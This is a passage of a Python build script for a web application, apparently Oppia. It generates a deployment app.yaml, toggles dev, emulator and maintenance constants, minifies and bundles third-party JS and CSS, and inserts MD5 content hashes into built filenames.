ENV_VARS_TO_REMOVE_FROM_DEPLOYED_APP_YAML = ( 'FIREBASE_AUTH_EMULATOR_HOST', 'DATASTORE_DATASET', 'DATASTORE_EMULATOR_HOST', 'DATASTORE_EMULATOR_HOST_PATH', 'DATASTORE_HOST', 'DATASTORE_PROJECT_ID', 'DATASTORE_USE_PROJECT_ID_AS_APP_ID' ) # Hashes for files with these paths should be provided to the frontend in # JS hashes object. FILEPATHS_PROVIDED_TO_FRONTEND = ( 'images/*', 'videos/*', 'i18n/*', '*.component.html', '*_directive.html', '*.directive.html', '*.template.html', '*.png', '*.json', '*.webp') HASH_BLOCK_SIZE = 2**20 APP_DEV_YAML_FILEPATH = 'app_dev.yaml' APP_YAML_FILEPATH = 'app.yaml' _PARSER = argparse.ArgumentParser( description=""" Creates a third-party directory where all the JS and CSS dependencies are built and stored. Depending on the options passed to the script, might also minify third-party libraries and/or generate a build directory. """) _PARSER.add_argument( '--prod_env', action='store_true', default=False, dest='prod_env') _PARSER.add_argument( '--deploy_mode', action='store_true', default=False, dest='deploy_mode') _PARSER.add_argument( '--minify_third_party_libs_only', action='store_true', default=False, dest='minify_third_party_libs_only') _PARSER.add_argument( '--maintenance_mode', action='store_true', default=False, dest='maintenance_mode', help=( 'Enable maintenance mode, ' 'meaning that only super admins can access the site.' ) ) _PARSER.add_argument( '--source_maps', action='store_true', default=False, dest='source_maps', help='Build webpack with source maps.') class DependencyBundleDict(TypedDict): """Dictionary that represents dependency bundle.""" js: List[str] css: List[str] fontsPath: str def generate_app_yaml(deploy_mode: bool = False) -> None: """Generate app.yaml from app_dev.yaml. Args: deploy_mode: bool. Whether the script is being called from deploy script. Raises: Exception. Environment variable to be removed does not exist. """ content = '# THIS FILE IS AUTOGENERATED, DO NOT MODIFY\n' with utils.open_file(APP_DEV_YAML_FILEPATH, 'r') as yaml_file: content += yaml_file.read() if deploy_mode: # The version: default line is required to run jobs on a local server ( # both in prod & non-prod env). This line is not required when app.yaml # is generated during deployment. So, we remove this if the build # process is being run from the deploy script. content = content.replace('version: default', '') # The FIREBASE_AUTH_EMULATOR_HOST environment variable is only needed to # test locally, and MUST NOT be included in the deployed file. for env_variable in ENV_VARS_TO_REMOVE_FROM_DEPLOYED_APP_YAML: if env_variable not in content: raise Exception( 'Environment variable \'%s\' to be ' 'removed does not exist.' % env_variable ) content = re.sub(' %s: ".*"\n' % env_variable, '', content) if os.path.isfile(APP_YAML_FILEPATH): os.remove(APP_YAML_FILEPATH) with utils.open_file(APP_YAML_FILEPATH, 'w+') as prod_yaml_file: prod_yaml_file.write(content) def modify_constants( prod_env: bool = False, emulator_mode: bool = True, maintenance_mode: bool = False ) -> None: """Modify constants.ts and feconf.py. Args: prod_env: bool. Whether the server is started in prod mode. emulator_mode: bool. Whether the server is started in emulator mode. maintenance_mode: bool. Whether the site should be put into the maintenance mode. """ dev_mode_variable = ( '"DEV_MODE": false' if prod_env else '"DEV_MODE": true') common.inplace_replace_file( common.CONSTANTS_FILE_PATH, r'"DEV_MODE": (true|false)', dev_mode_variable, expected_number_of_replacements=1 ) emulator_mode_variable = ( '"EMULATOR_MODE": true' if emulator_mode else '"EMULATOR_MODE": false') common.inplace_replace_file( common.CONSTANTS_FILE_PATH, r'"EMULATOR_MODE": (true|false)', emulator_mode_variable, expected_number_of_replacements=1 ) enable_maintenance_mode_variable = ( 'ENABLE_MAINTENANCE_MODE = %s' % str(maintenance_mode)) common.inplace_replace_file( common.FECONF_PATH, r'ENABLE_MAINTENANCE_MODE = (True|False)', enable_maintenance_mode_variable, expected_number_of_replacements=1 ) def set_constants_to_default() -> None: """Set variables in constants.ts and feconf.py to default values.""" modify_constants(prod_env=False, emulator_mode=True, maintenance_mode=False) def _minify(source_path: str, target_path: str) -> None: """Runs the given file through a minifier and outputs it to target_path. Args: source_path: str. Absolute path to file to be minified. target_path: str. Absolute path to location where to copy the minified file. """ # The -Xmxn argument is an attempt to limit the max memory used when the # minification process is running on CircleCI. Note that, from local # experiments, 18m seems to work, but 12m is too small and results in an # out-of-memory error. # https://circleci.com/blog/how-to-handle-java-oom-errors/ # Use relative path to avoid java command line parameter parse error on # Windows. Convert to posix style path because the java program requires # the filepath arguments to be in posix path style. target_path = common.convert_to_posixpath( os.path.relpath(target_path)) source_path = common.convert_to_posixpath( os.path.relpath(source_path)) yuicompressor_dir = common.convert_to_posixpath(YUICOMPRESSOR_DIR) cmd = 'java -Xmx24m -jar %s -o %s %s' % ( yuicompressor_dir, target_path, source_path) subprocess.check_call(cmd, shell=True) def write_to_file_stream(file_stream: TextIO, content: str) -> None: """Write to a file object using provided content. Args: file_stream: file. A stream handling object to do write operation on. content: str. String content to write to file object. """ file_stream.write(str(content)) def _join_files( source_paths: List[str], target_file_stream: TextIO ) -> None: """Writes multiple files into one file. Args: source_paths: list(str). Paths to files to join together. target_file_stream: file. A stream object of target file. """ for source_path in source_paths: with utils.open_file(source_path, 'r') as source_file: write_to_file_stream(target_file_stream, source_file.read()) def _minify_and_create_sourcemap( source_path: str, target_file_path: str ) -> None: """Minifies and generates source map for a JS file. This function is only meant to be used with third_party.min.js. Args: source_path: str. Path to JS file to minify. target_file_path: str. Path to location of the minified file. """ print('Minifying and creating sourcemap for %s' % source_path) source_map_properties = 'includeSources,url=\'third_party.min.js.map\'' cmd = '%s %s %s -c -m --source-map %s -o %s ' % ( common.NODE_BIN_PATH, UGLIFY_FILE, source_path, source_map_properties, target_file_path) subprocess.check_call(cmd, shell=True) def _generate_copy_tasks_for_fonts( source_paths: List[str], target_path: str ) -> Deque[threading.Thread]: """Queue up a copy task for each font file. Args: source_paths: list(str). Paths to fonts. target_path: str. Path where the fonts should be copied. Returns: deque(Thread). A deque that contains all copy tasks queued to be processed. """ copy_tasks: Deque[threading.Thread] = collections.deque() for font_path in source_paths: copy_task = threading.Thread( target=shutil.copy, args=(font_path, target_path,)) copy_tasks.append(copy_task) return copy_tasks def _insert_hash(filepath: str, file_hash: str) -> str: """Inserts hash into filepath before the file extension. Args: filepath: str. Path where the hash should be inserted. file_hash: str. Hash to be inserted into the path. Returns: str. Filepath with hash inserted. """ filepath, file_extension = os.path.splitext(filepath) return '%s.%s%s' % (filepath, file_hash, file_extension) def ensure_directory_exists(filepath: str) -> None: """Ensures if directory tree exists, if not creates the directories. Args: filepath: str. Path to file located in directory that we want to ensure exists. """ directory = os.path.dirname(filepath) if not os.path.exists(directory): os.makedirs(directory) def safe_delete_directory_tree(directory_path: str) -> None: """Recursively delete a directory tree. If directory tree does not exist, create the directories first then delete the directory tree. Args: directory_path: str. Directory path to be deleted. """ ensure_directory_exists(directory_path) shutil.rmtree(directory_path) def _ensure_files_exist(filepaths: List[str]) -> None: """Ensures that files exist at the given filepaths. Args: filepaths: list(str). Paths to files that we want to ensure exist. Raises: OSError. One or more of the files does not exist. """ for filepath in filepaths: if not os.path.isfile(filepath): raise OSError('File %s does not exist.' % filepath) def safe_copy_file(source_filepath: str, target_filepath: str) -> None: """Copy a file (no metadata) after ensuring the file exists at the given source filepath. NOTE: shutil.copyfile does not accept directory path as arguments. Args: source_filepath: str. Path to source file that we want to copy from. target_filepath: str. Path to target file that we want to copy to. """ _ensure_files_exist([source_filepath]) shutil.copyfile(source_filepath, target_filepath) def safe_delete_file(filepath: str) -> None: """Delete a file after ensuring the provided file actually exists. Args: filepath: str. Filepath to be deleted. """ _ensure_files_exist([filepath]) os.remove(filepath) def get_file_count(directory_path: str) -> int: """Count total number of file in the given directory, ignoring any files with extensions in FILE_EXTENSIONS_TO_IGNORE or files that should not be built. Args: directory_path: str. Directory to be walked. Returns: int. Total number of files minus ignored files. """ total_file_count = 0 for root, _, filenames in os.walk(directory_path): for filename in filenames: # Ignore files with certain extensions. filepath = os.path.join(root, filename) if should_file_be_built(filepath) and not any( filename.endswith(p) for p in FILE_EXTENSIONS_TO_IGNORE): total_file_count += 1 return total_file_count def _compare_file_count( first_dir_list: List[str], second_dir_list: List[str] ) -> None: """Ensure that the total count of files in all directories in the first list matches the count of files in all the directories in the second list. Args: first_dir_list: list(str). List of directories to compare. second_dir_list: list(str). List of directories to compare. Raises: ValueError. The source directory list does not have the same file count as the target directory list. """ file_counts = [0, 0] for first_dir_path in first_dir_list: file_counts[0] += get_file_count(first_dir_path) for second_dir_path in second_dir_list: file_counts[1] += get_file_count(second_dir_path) if file_counts[0] != file_counts[1]: print('Comparing %s vs %s' % (first_dir_list, second_dir_list)) raise ValueError( '%s files in first dir list != %s files in second dir list' % ( file_counts[0], file_counts[1])) def process_html( source_file_stream: TextIO, target_file_stream: TextIO ) -> None: """Remove whitespaces and add hashes to filepaths in the HTML file stream object. Args: source_file_stream: file. The stream object of the HTML file to be read from. target_file_stream: file. The stream object to write the minified HTML file to. """ write_to_file_stream( target_file_stream, REMOVE_WS(' ', source_file_stream.read())) def get_dependency_directory(dependency: Dict[str, str]) -> str: """Get dependency directory from dependency dictionary. Args: dependency: dict(str, str). Dictionary representing single dependency from dependencies.json. Returns: str. Dependency directory. """ if 'targetDir' in dependency: dependency_dir = dependency['targetDir'] else: dependency_dir = dependency['targetDirPrefix'] + dependency['version'] return os.path.join(THIRD_PARTY_STATIC_DIR, dependency_dir) def get_css_filepaths( dependency_bundle: DependencyBundleDict, dependency_dir: str ) -> List[str]: """Gets dependency css filepaths. Args: dependency_bundle: dict(str, list(str) | str). The dict has three keys: - 'js': List of paths to js files that need to be copied. - 'css': List of paths to css files that need to be copied. - 'fontsPath': Path to folder containing fonts that need to be copied. dependency_dir: str. Path to directory where the files that need to be copied are located. Returns: list(str). List of paths to css files that need to be copied. """ css_files = dependency_bundle.get('css', []) return [os.path.join(dependency_dir, css_file) for css_file in css_files] def get_js_filepaths( dependency_bundle: DependencyBundleDict, dependency_dir: str ) -> List[str]: """Gets dependency js filepaths. Args: dependency_bundle: dict(str, list(str) | str). The dict has three keys: - 'js': List of paths to js files that need to be copied. - 'css': List of paths to css files that need to be copied. - 'fontsPath': Path to folder containing fonts that need to be copied. dependency_dir: str. Path to directory where the files that need to be copied are located. Returns: list(str). List of paths to js files that need to be copied. """ js_files = dependency_bundle.get('js', []) return [os.path.join(dependency_dir, js_file) for js_file in js_files] def get_font_filepaths( dependency_bundle: DependencyBundleDict, dependency_dir: str ) -> List[str]: """Gets dependency font filepaths. Args: dependency_bundle: dict(str, list(str) | str). The dict has three keys: - 'js': List of paths to js files that need to be copied. - 'css': List of paths to css files that need to be copied. - 'fontsPath': Path to folder containing fonts that need to be copied. dependency_dir: str. Path to directory where the files that need to be copied are located. Returns: list(str). List of paths to font files that need to be copied. """ if 'fontsPath' not in dependency_bundle: # Skip dependency bundles in dependencies.json that do not have # fontsPath property. return [] fonts_path = dependency_bundle['fontsPath'] # Obtain directory path to /font inside dependency folder. # E.g. third_party/static/bootstrap-3.3.4/fonts/. font_dir = os.path.join(dependency_dir, fonts_path) font_filepaths = [] # Walk the directory and add all font files to list. for root, _, filenames in os.walk(font_dir): for filename in filenames: font_filepaths.append(os.path.join(root, filename)) return font_filepaths def get_dependencies_filepaths() -> Dict[str, List[str]]: """Extracts dependencies filepaths from dependencies.json file into a dictionary. Returns: dict(str, list(str)). A dict mapping file types to lists of filepaths. The dict has three keys: 'js', 'css' and 'fonts'. Each of the corresponding values is a full list of dependency file paths of the given type. """ filepaths: Dict[str, List[str]] = { 'js': [], 'css': [], 'fonts': [] } with utils.open_file(DEPENDENCIES_FILE_PATH, 'r') as json_file: dependencies_json = json.loads( json_file.read(), object_pairs_hook=collections.OrderedDict) frontend_dependencies = dependencies_json['dependencies']['frontend'] for dependency in frontend_dependencies.values(): if 'bundle' in dependency: dependency_dir = get_dependency_directory(dependency) filepaths['css'].extend( get_css_filepaths(dependency['bundle'], dependency_dir)) filepaths['js'].extend( get_js_filepaths(dependency['bundle'], dependency_dir)) filepaths['fonts'].extend( get_font_filepaths(dependency['bundle'], dependency_dir)) _ensure_files_exist(filepaths['js']) _ensure_files_exist(filepaths['css']) _ensure_files_exist(filepaths['fonts']) return filepaths def minify_third_party_libs(third_party_directory_path: str) -> None: """Minify third_party.js and third_party.css and remove un-minified files. """ third_party_js_filepath = os.path.join( third_party_directory_path, THIRD_PARTY_JS_RELATIVE_FILEPATH) third_party_css_filepath = os.path.join( third_party_directory_path, THIRD_PARTY_CSS_RELATIVE_FILEPATH) minified_third_party_js_filepath = os.path.join( third_party_directory_path, MINIFIED_THIRD_PARTY_JS_RELATIVE_FILEPATH) minified_third_party_css_filepath = os.path.join( third_party_directory_path, MINIFIED_THIRD_PARTY_CSS_RELATIVE_FILEPATH) _minify_and_create_sourcemap( third_party_js_filepath, minified_third_party_js_filepath) _minify(third_party_css_filepath, minified_third_party_css_filepath) # Clean up un-minified third_party.js and third_party.css. safe_delete_file(third_party_js_filepath) safe_delete_file(third_party_css_filepath) def build_third_party_libs(third_party_directory_path: str) -> None: """Joins all third party css files into single css file and js files into single js file. Copies both files and all fonts into third party folder. """ print('Building third party libs at %s' % third_party_directory_path) third_party_js_filepath = os.path.join( third_party_directory_path, THIRD_PARTY_JS_RELATIVE_FILEPATH) third_party_css_filepath = os.path.join( third_party_directory_path, THIRD_PARTY_CSS_RELATIVE_FILEPATH) webfonts_dir = os.path.join( third_party_directory_path, WEBFONTS_RELATIVE_DIRECTORY_PATH) dependency_filepaths = get_dependencies_filepaths() ensure_directory_exists(third_party_js_filepath) with utils.open_file( third_party_js_filepath, 'w+') as third_party_js_file: _join_files(dependency_filepaths['js'], third_party_js_file) ensure_directory_exists(third_party_css_filepath) with utils.open_file( third_party_css_filepath, 'w+') as third_party_css_file: _join_files(dependency_filepaths['css'], third_party_css_file) ensure_directory_exists(webfonts_dir) _execute_tasks( _generate_copy_tasks_for_fonts( dependency_filepaths['fonts'], webfonts_dir)) def build_using_webpack(config_path: str) -> None: """Execute webpack build process. This takes all TypeScript files we have in /templates and generates JS bundles according the require() imports and also compiles HTML pages into the /backend_prod_files/webpack_bundles folder. The files are later copied into /build/webpack_bundles. Args: config_path: str. Webpack config to be used for building. """ print('Building webpack') managed_webpack_compiler = servers.managed_webpack_compiler( config_path=config_path, max_old_space_size=6144) with managed_webpack_compiler as p: p.wait() assert get_file_count('backend_prod_files/webpack_bundles/') > 0, ( 'webpack_bundles should be non-empty.') def hash_should_be_inserted(filepath: str) -> bool: """Returns if the file should be renamed to include hash in the path. Args: filepath: str. Path relative to directory we are currently building. Returns: bool. True if filepath should contain hash else False. """ return not any( fnmatch.fnmatch(filepath, pattern) for pattern in FILEPATHS_NOT_TO_RENAME) def should_file_be_built(filepath: str) -> bool: """Determines if the file should be built. - JS files: Returns False if filepath matches with pattern in JS_FILENAME_SUFFIXES_TO_IGNORE or is in JS_FILEPATHS_NOT_TO_BUILD, else returns True. - Python files: Returns False if filepath ends with _test.py, else returns True - TS files: Returns False. - Other files: Returns False if filepath matches with pattern in GENERAL_FILENAMES_TO_IGNORE, else returns True. Args: filepath: str. Path relative to file we are currently building. Returns: bool. True if filepath should be built, else False. """ if filepath.endswith('.js'): return all( not filepath.endswith(p) for p in JS_FILENAME_SUFFIXES_TO_IGNORE) elif filepath.endswith('_test.py'): return False elif filepath.endswith('.ts'): return False else: return not any( filepath.endswith(p) for p in GENERAL_FILENAMES_TO_IGNORE) def generate_copy_tasks_to_copy_from_source_to_target( source: str, target: str, file_hashes: Dict[str, str] ) -> Deque[threading.Thread]: """Generate copy task for each file in source directory, excluding files with extensions in FILE_EXTENSIONS_TO_IGNORE. Insert hash from hash dict into the destination filename. Args: source: str. Path relative to /oppia directory of directory containing files and directories to be copied. target: str. Path relative to /oppia directory of directory where to copy the files and directories. file_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. Returns: deque(Thread). A deque that contains all copy tasks queued to be processed. """ print('Processing %s' % os.path.join(os.getcwd(), source)) print('Copying into %s' % os.path.join(os.getcwd(), target)) copy_tasks: Deque[threading.Thread] = collections.deque() for root, dirnames, filenames in os.walk(os.path.join(os.getcwd(), source)): for directory in dirnames: print('Copying %s' % os.path.join(root, directory)) for filename in filenames: source_path = os.path.join(root, filename) # Python files should not be copied to final build directory. if not any( source_path.endswith(p) for p in FILE_EXTENSIONS_TO_IGNORE): target_path = source_path # The path in hashes.json file is in posix style, # see the comment above HASHES_JSON_FILENAME for details. relative_path = common.convert_to_posixpath( os.path.relpath(source_path, start=source)) if (hash_should_be_inserted(source + relative_path) and relative_path in file_hashes): relative_path = ( _insert_hash(relative_path, file_hashes[relative_path])) target_path = os.path.join(os.getcwd(), target, relative_path) ensure_directory_exists(target_path) copy_task = threading.Thread( target=safe_copy_file, args=(source_path, target_path,)) copy_tasks.append(copy_task) return copy_tasks def is_file_hash_provided_to_frontend(filepath: str) -> bool: """Returns if the hash for the filepath should be provided to the frontend. Args: filepath: str. Relative path to the file. Returns: bool. True if file hash should be provided to the frontend else False. """ return any( fnmatch.fnmatch(filepath, pattern) for pattern in FILEPATHS_PROVIDED_TO_FRONTEND) def generate_md5_hash(filepath: str) -> str: """Returns md5 hash of file. Args: filepath: str. Absolute path to the file. Returns: str. Hexadecimal hash of specified file. """ m = hashlib.md5() with utils.open_file(filepath, 'rb', encoding=None) as f: while True: buf = f.read(HASH_BLOCK_SIZE) if not buf: break m.update(buf) return m.hexdigest() def get_filepaths_by_extensions( source_dir: str, file_extensions: Tuple[str, ...] ) -> List[str]: """Return list of filepaths in a directory with certain extensions, excluding filepaths that should not be built. Args: source_dir: str. Root directory to be walked. file_extensions: tuple(str). Tuple of file extensions. Returns: list(str). List of filepaths with specified extensions. """ filepaths = [] for root, _, filenames in os.walk(source_dir): for filename in filenames: filepath = os.path.join(root, filename) relative_filepath = os.path.relpath(filepath, start=source_dir) if should_file_be_built(filepath) and any( filename.endswith(p) for p in file_extensions): filepaths.append(relative_filepath) return filepaths def get_file_hashes(directory_path: str) -> Dict[str, str]: """Returns hashes of all files in directory tree, excluding files with extensions in FILE_EXTENSIONS_TO_IGNORE or files that should not be built. Args: directory_path: str. Root directory of the tree. Returns: dict(str, str). Dictionary with keys specifying file paths and values specifying file hashes. """ file_hashes = {} print( 'Computing hashes for files in %s' % os.path.join(os.getcwd(), directory_path)) for root, _, filenames in os.walk( os.path.join(os.getcwd(), directory_path)): for filename in filenames: filepath = os.path.join(root, filename) if should_file_be_built(filepath) and not any( filename.endswith(p) for p in FILE_EXTENSIONS_TO_IGNORE): # The path in hashes.json file is in posix style, # see the comment above HASHES_JSON_FILENAME for details. complete_filepath = common.convert_to_posixpath( os.path.join(root, filename)) relative_filepath = common.convert_to_posixpath(os.path.relpath( complete_filepath, start=directory_path)) file_hashes[relative_filepath] = generate_md5_hash( complete_filepath) return file_hashes def filter_hashes(file_hashes: Dict[str, str]) -> Dict[str, str]: """Filters hashes that should be provided to the frontend and prefixes "/" in front of the keys. Args: file_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. Returns: dict(str, str). Filtered dictionary of only filepaths that should be provided to the frontend. """ filtered_hashes = {} for filepath, file_hash in file_hashes.items(): if is_file_hash_provided_to_frontend(filepath): filtered_hashes['/' + filepath] = file_hash return filtered_hashes def save_hashes_to_file(file_hashes: Dict[str, str]) -> None: """Return JS code that loads hashes needed for frontend into variable. Args: file_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. Returns: str. JS code loading hashes as JSON into variable. """ # Only some of the hashes are needed in the frontend. filtered_hashes = filter_hashes(file_hashes) ensure_directory_exists(HASHES_JSON_FILEPATH) with utils.open_file(HASHES_JSON_FILEPATH, 'w+') as hashes_json_file: hashes_json_file.write( str(json.dumps(filtered_hashes, ensure_ascii=False))) hashes_json_file.write(u'\n') def minify_func(source_path: str, target_path: str, filename: str) -> None: """Call the appropriate functions to handle different types of file formats: - HTML files: Remove whitespaces, interpolates paths in HTML to include hashes in source directory and save edited file at target directory. - CSS or JS files: Minify and save at target directory. - Other files: Copy the file from source directory to target directory. """ skip_minify = any( filename.endswith(p) for p in JS_FILENAME_SUFFIXES_NOT_TO_MINIFY) if filename.endswith('.html'): print('Building %s' % source_path) with utils.open_file(source_path, 'r+') as source_html_file: with utils.open_file( target_path, 'w+') as minified_html_file: process_html(source_html_file, minified_html_file) elif ((filename.endswith('.css') or filename.endswith('.js')) and not skip_minify): print('Minifying %s' % source_path) _minify(source_path, target_path) else: print('Copying %s' % source_path) safe_copy_file(source_path, target_path) def _execute_tasks( tasks: Deque[threading.Thread], batch_size: int = 24 ) -> None: """Starts all tasks and checks the results. Runs no more than 'batch_size' tasks at a time. """ remaining_tasks = collections.deque(tasks) currently_running_tasks: List[threading.Thread] = [] while remaining_tasks or currently_running_tasks: if currently_running_tasks: for task in collections.deque(currently_running_tasks): if not task.is_alive(): currently_running_tasks.remove(task) while remaining_tasks and len(currently_running_tasks) < batch_size: task = remaining_tasks.popleft() currently_running_tasks.append(task) try: task.start() except RuntimeError as e: raise OSError( 'threads can only be started once') from e def generate_build_tasks_to_build_all_files_in_directory( source: str, target: str ) -> Deque[threading.Thread]: """This function queues up tasks to build all files in a directory, excluding files that should not be built. Args: source: str. Path relative to /oppia of directory containing source files and directories to be built. target: str. Path relative to /oppia of directory where the built files and directories will be saved to. Returns: deque(Thread). A deque that contains all build tasks queued to be processed. """ print('Processing %s' % os.path.join(os.getcwd(), source)) print('Generating into %s' % os.path.join(os.getcwd(), target)) build_tasks: Deque[threading.Thread] = collections.deque() for root, dirnames, filenames in os.walk(os.path.join(os.getcwd(), source)): for directory in dirnames: print('Building directory %s' % os.path.join(root, directory)) for filename in filenames: source_path = os.path.join(root, filename) target_path = source_path.replace(source, target) ensure_directory_exists(target_path) if should_file_be_built(source_path): task = threading.Thread( target=minify_func, args=(source_path, target_path, filename,)) build_tasks.append(task) return build_tasks def generate_build_tasks_to_build_files_from_filepaths( source_path: str, target_path: str, filepaths: List[str] ) -> Deque[threading.Thread]: """This function queues up build tasks to build files from a list of filepaths, excluding files that should not be built. Args: source_path: str. Path relative to /oppia directory of directory containing files and directories to be copied. target_path: str. Path relative to /oppia directory of directory where to copy the files and directories. filepaths: list(str). List of filepaths to be built. Returns: deque(Thread). A deque that contains all build tasks queued to be processed. """ build_tasks: collections.deque[threading.Thread] = collections.deque() for filepath in filepaths: source_file_path = os.path.join(source_path, filepath) target_file_path = os.path.join(target_path, filepath) ensure_directory_exists(target_file_path) if should_file_be_built(source_file_path): task = threading.Thread( target=minify_func, args=( source_file_path, target_file_path, filepath,)) build_tasks.append(task) return build_tasks def generate_delete_tasks_to_remove_deleted_files( source_dir_hashes: Dict[str, str], staging_directory: str ) -> Deque[threading.Thread]: """This function walks the staging directory and queues up deletion tasks to remove files that are not in the hash dict i.e. remaining files in staging directory that have since been deleted from source directory. Files with extensions in FILE_EXTENSIONS_TO_IGNORE will be excluded. Args: source_dir_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. staging_directory: str. Path relative to /oppia directory of directory containing files and directories to be walked. Returns: deque(Thread). A deque that contains all delete tasks queued to be processed. """ print('Scanning directory %s to remove deleted file' % staging_directory) delete_tasks: Deque[threading.Thread] = collections.deque() for root, _, filenames in os.walk( os.path.join(os.getcwd(), staging_directory)): for filename in filenames: target_path = os.path.join(root, filename) # Ignore files with certain extensions. if not any( target_path.endswith(p) for p in FILE_EXTENSIONS_TO_IGNORE): # On Windows the path is on Windows-Style, while the path in # hashes is in posix style, we need to convert it so the check # can run correctly. relative_path = common.convert_to_posixpath( os.path.relpath(target_path, start=staging_directory)) # Remove file found in staging directory but not in source # directory, i.e. file not listed in hash dict. if relative_path not in source_dir_hashes: print( 'Unable to find %s in file hashes, deleting file' % target_path) task = threading.Thread( target=safe_delete_file, args=(target_path,)) delete_tasks.append(task) return delete_tasks def get_recently_changed_filenames( source_dir_hashes: Dict[str, str], out_dir: str ) -> List[str]: """Compare hashes of source files and built files. Return a list of filenames that were recently changed. Skips files that are not supposed to built or already built. Args: source_dir_hashes: dict(str, str). Dictionary of hashes of files to be built. out_dir: str. Path relative to /oppia where built files are located. Returns: list(str). List of filenames expected to be re-hashed. """ # Hashes are created based on files' contents and are inserted between # the filenames and their extensions, # e.g base.240933e7564bd72a4dde42ee23260c5f.html # If a file gets edited, a different MD5 hash is generated. recently_changed_filenames = [] # Currently, Python files and HTML files are always re-built. file_extensions_not_to_track = ('.html', '.py',) for filename, md5_hash in source_dir_hashes.items(): # Skip files that are already built or should not be built. if should_file_be_built(filename) and not any( filename.endswith(p) for p in file_extensions_not_to_track): final_filepath = _insert_hash( os.path.join(out_dir, filename), md5_hash) if not os.path.isfile(final_filepath): # Filename with provided hash cannot be found, this file has # been recently changed or created since last build. recently_changed_filenames.append(filename) if recently_changed_filenames: print( 'The following files will be rebuilt due to recent changes: %s' % recently_changed_filenames) return recently_changed_filenames def generate_build_tasks_to_build_directory( dirnames_dict: Dict[str, str] ) -> Deque[threading.Thread]: """This function queues up build tasks to build all files in source directory if there is no existing staging directory. Otherwise, selectively queue up build tasks to build recently changed files. Args: dirnames_dict: dict(str, str). This dict should contain three keys, with corresponding values as follows: - 'dev_dir': the directory that contains source files to be built. - 'staging_dir': the directory that contains minified files waiting for final copy process. - 'out_dir': the final directory that contains built files with hash inserted into filenames. Returns: deque(Thread). A deque that contains all build tasks queued to be processed. """ source_dir = dirnames_dict['dev_dir'] staging_dir = dirnames_dict['staging_dir'] out_dir = dirnames_dict['out_dir'] build_tasks: Deque[threading.Thread] = collections.deque() if not os.path.isdir(staging_dir): # If there is no staging dir, perform build process on all files. print('Creating new %s folder' % staging_dir) ensure_directory_exists(staging_dir) build_tasks += generate_build_tasks_to_build_all_files_in_directory( source_dir, staging_dir) else: # If staging dir exists, rebuild all HTML and Python files. file_extensions_to_always_rebuild = ('.html', '.py',) print( 'Staging dir exists, re-building all %s files' % ', '.join(file_extensions_to_always_rebuild)) filenames_to_always_rebuild = get_filepaths_by_extensions( source_dir, file_extensions_to_always_rebuild) build_tasks += generate_build_tasks_to_build_files_from_filepaths( source_dir, staging_dir, filenames_to_always_rebuild) dev_dir_hashes = get_file_hashes(source_dir) source_hashes = {} source_hashes.update(dev_dir_hashes) # Clean up files in staging directory that cannot be found in file # hashes dictionary. _execute_tasks(generate_delete_tasks_to_remove_deleted_files( source_hashes, staging_dir)) print( 'Getting files that have changed between %s and %s' % (source_dir, out_dir)) recently_changed_filenames = get_recently_changed_filenames( dev_dir_hashes, out_dir) if recently_changed_filenames: print( 'Re-building recently changed files at %s' % source_dir) build_tasks += generate_build_tasks_to_build_files_from_filepaths( source_dir, staging_dir, recently_changed_filenames) else: print('No changes detected. Using previously built files.') return build_tasks def _verify_filepath_hash( relative_filepath: str, file_hashes: Dict[str, str] ) -> None: """Ensure that hashes in filepaths match with the hash entries in hash dict. Args: relative_filepath: str. Filepath that is relative from /build. file_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. Raises: ValueError. The hash dict is empty. ValueError. Filepath has less than 2 partitions after splitting by '.' delimiter. ValueError. The filename does not contain hash. KeyError. The filename's hash cannot be found in the hash dict. """ # Final filepath example: # pages/base.240933e7564bd72a4dde42ee23260c5f.html. if not file_hashes: raise ValueError('Hash dict is empty') filename_partitions = relative_filepath.split('.') if len(filename_partitions) < 2: raise ValueError('Filepath has less than 2 partitions after splitting') hash_string_from_filename = filename_partitions[-2] # Ensure hash string obtained from filename follows MD5 hash format. if not re.search(r'([a-fA-F\d]{32})', relative_filepath): if relative_filepath not in file_hashes: return raise ValueError( '%s is expected to contain MD5 hash' % relative_filepath) if hash_string_from_filename not in file_hashes.values(): raise KeyError( 'Hash from file named %s does not match hash dict values' % relative_filepath) def _verify_hashes( output_dirnames: List[str], file_hashes: Dict[str, str] ) -> None: """Verify a few metrics after build process finishes: 1) The hashes in filenames belongs to the hash dict. 2) hashes.json, third_party.min.css and third_party.min.js are built and hashes are inserted. Args: output_dirnames: list(str). List of directory paths that contain built files. file_hashes: dict(str, str). Dictionary with filepaths as keys and hashes of file content as values. """ # Make sure that hashed file name matches with current hash dict. for built_dir in output_dirnames: for root, _, filenames in os.walk(built_dir): for filename in filenames: parent_dir = os.path.basename(root) converted_filepath = os.path.join( THIRD_PARTY_GENERATED_DEV_DIR, parent_dir, filename) if hash_should_be_inserted(converted_filepath): # Obtain the same filepath format as the hash dict's key. relative_filepath = os.path.relpath( os.path.join(root, filename), start=built_dir) _verify_filepath_hash(relative_filepath, file_hashes) hash_final_filename = _insert_hash( HASHES_JSON_FILENAME, file_hashes[HASHES_JSON_FILENAME]) # The path in hashes.json (generated via file_hashes) file is in posix # style, see the comment above HASHES_JSON_FILENAME for details. third_party_js_final_filename = _insert_hash( MINIFIED_THIRD_PARTY_JS_RELATIVE_FILEPATH, file_hashes[common.convert_to_posixpath( MINIFIED_THIRD_PARTY_JS_RELATIVE_FILEPATH)]) # The path in hashes.json (generated via file_hashes) file is in posix # style, see the comment above HASHES_JSON_FILENAME for details. third_party_css_final_filename = _insert_hash( MINIFIED_THIRD_PARTY_CSS_RELATIVE_FILEPATH, file_hashes[common.convert_to_posixpath( MINIFIED_THIRD_PARTY_CSS_RELATIVE_FILEPATH)]) _ensure_files_exist([ os.path.join(ASSETS_OUT_DIR, hash_final_filename), os.path.join( THIRD_PARTY_GENERATED_OUT_DIR, third_party_js_final_filename), os.path.join( THIRD_PARTY_GENERATED_OUT_DIR, third_party_css_final_filename)]) def generate_hashes() -> Dict[str, str]: """Generates hashes for files.""" # The keys for hashes are filepaths relative to the subfolders of the future # /build folder. This is so that the replacing inside the HTML files works # correctly. hashes = {} # Create hashes for all directories and files. hash_dirs = [ ASSETS_DEV_DIR, EXTENSIONS_DIRNAMES_TO_DIRPATHS['dev_dir'], TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS['dev_dir'], 